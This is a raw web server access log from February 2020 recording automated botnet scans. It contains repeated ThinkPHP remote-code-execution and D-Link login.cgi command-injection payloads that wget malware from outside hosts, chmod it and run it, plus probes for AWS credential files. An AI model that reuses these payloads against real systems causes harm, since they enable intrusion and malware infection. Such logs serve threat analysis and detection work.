175.140.168.112 - - [02/Feb/2020:04:56:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
39.77.122.220 - - [02/Feb/2020:04:58:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.31.37 - - [02/Feb/2020:05:00:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.137.158 - - [02/Feb/2020:05:01:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [02/Feb/2020:05:02:49 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:05:03:53 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
113.22.163.233 - - [02/Feb/2020:05:03:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [02/Feb/2020:05:04:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
204.13.32.159 - - [02/Feb/2020:05:05:21 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:05:06:18 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:05:06:18 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:05:07:24 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:05:07:25 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
58.176.188.151 - - [02/Feb/2020:05:08:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.85.11 - - [02/Feb/2020:05:08:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.65.133.249 - - [02/Feb/2020:05:08:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
1.53.203.102 - - [02/Feb/2020:05:08:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [02/Feb/2020:05:09:11 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [02/Feb/2020:05:10:21 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
42.119.88.182 - - [02/Feb/2020:05:10:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [02/Feb/2020:05:12:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
102.40.84.149 - - [02/Feb/2020:05:12:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.132.109 - - [02/Feb/2020:05:13:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.230 - - [02/Feb/2020:05:14:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
120.69.57.15 - - [02/Feb/2020:05:15:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.106.169 - - [02/Feb/2020:05:18:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.70.112 - - [02/Feb/2020:05:19:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.124.223.251 - - [02/Feb/2020:05:19:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
217.58.35.193 - - [02/Feb/2020:05:19:11 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 338 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
183.193.234.142 - - [02/Feb/2020:05:21:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.234.37 - - [02/Feb/2020:05:23:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.89.251.136 - - [02/Feb/2020:05:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.51.18.192 - - [02/Feb/2020:05:24:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.243.79 - - [02/Feb/2020:05:25:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.27.134.126 - - [02/Feb/2020:05:27:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
117.1.90.14 - - [02/Feb/2020:05:30:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.219.167.35 - - [02/Feb/2020:05:32:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.217.106.247 - - [02/Feb/2020:05:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.182.52.242 - - [02/Feb/2020:05:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
31.163.2.133 - - [02/Feb/2020:05:37:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.226.89 - - [02/Feb/2020:05:40:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.248.167.133 - - [02/Feb/2020:05:40:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.154.122.85 - - [02/Feb/2020:05:41:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.211.105.70 - - [02/Feb/2020:05:41:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.110.7 - - [02/Feb/2020:05:44:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.170 - - [02/Feb/2020:05:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
113.22.217.203 - - [02/Feb/2020:05:46:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.229.54.146 - - [02/Feb/2020:05:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.33.37.221 - - [02/Feb/2020:05:48:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.126.102.121 - - [02/Feb/2020:05:51:05 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:06 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:06 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:07 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:07 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:08 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:08 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:08 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.126.102.121 - - [02/Feb/2020:05:51:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
2.133.70.146 - - [02/Feb/2020:05:52:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.242.89 - - [02/Feb/2020:05:56:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.130.49 - - [02/Feb/2020:05:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:05:56:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
1.52.237.201 - - [02/Feb/2020:05:57:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.130.49 - - [02/Feb/2020:05:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:05:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:05:57:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:05:58:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
171.97.116.155 - - [02/Feb/2020:05:59:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.130.49 - - [02/Feb/2020:05:59:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:06:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:06:00:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.49 - - [02/Feb/2020:06:01:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
42.113.254.25 - - [02/Feb/2020:06:01:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.85 - - [02/Feb/2020:06:08:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.109.209.236 - - [02/Feb/2020:06:08:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.187.173.209 - - [02/Feb/2020:06:09:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.44.125 - - [02/Feb/2020:06:10:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.193.219.242 - - [02/Feb/2020:06:11:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.102.141.95 - - [02/Feb/2020:06:13:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
185.20.133.203 - - [02/Feb/2020:06:17:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.235.78.37 - - [02/Feb/2020:06:20:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.78.37 - - [02/Feb/2020:06:20:04 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
49.235.78.37 - - [02/Feb/2020:06:20:05 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
58.186.135.200 - - [02/Feb/2020:06:22:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.38.146 - - [02/Feb/2020:06:24:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.0.37 - - [02/Feb/2020:06:25:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.0.157 - - [02/Feb/2020:06:29:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.1.55 - - [02/Feb/2020:06:29:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.179.146.200 - - [02/Feb/2020:06:29:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.118.156.109 - - [02/Feb/2020:06:30:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.81 - - [02/Feb/2020:06:31:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [02/Feb/2020:06:32:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
54.93.252.97 - - [02/Feb/2020:06:33:10 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
119.194.64.96 - - [02/Feb/2020:06:33:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
147.30.174.39 - - [02/Feb/2020:06:33:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.248.217 - - [02/Feb/2020:06:33:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.243.51.57 - - [02/Feb/2020:06:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
191.13.163.228 - - [02/Feb/2020:06:41:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
220.130.21.230 - - [02/Feb/2020:06:42:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.124.175.201 - - [02/Feb/2020:06:42:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.71.4.28 - - [02/Feb/2020:06:43:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.214.29.136 - - [02/Feb/2020:06:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
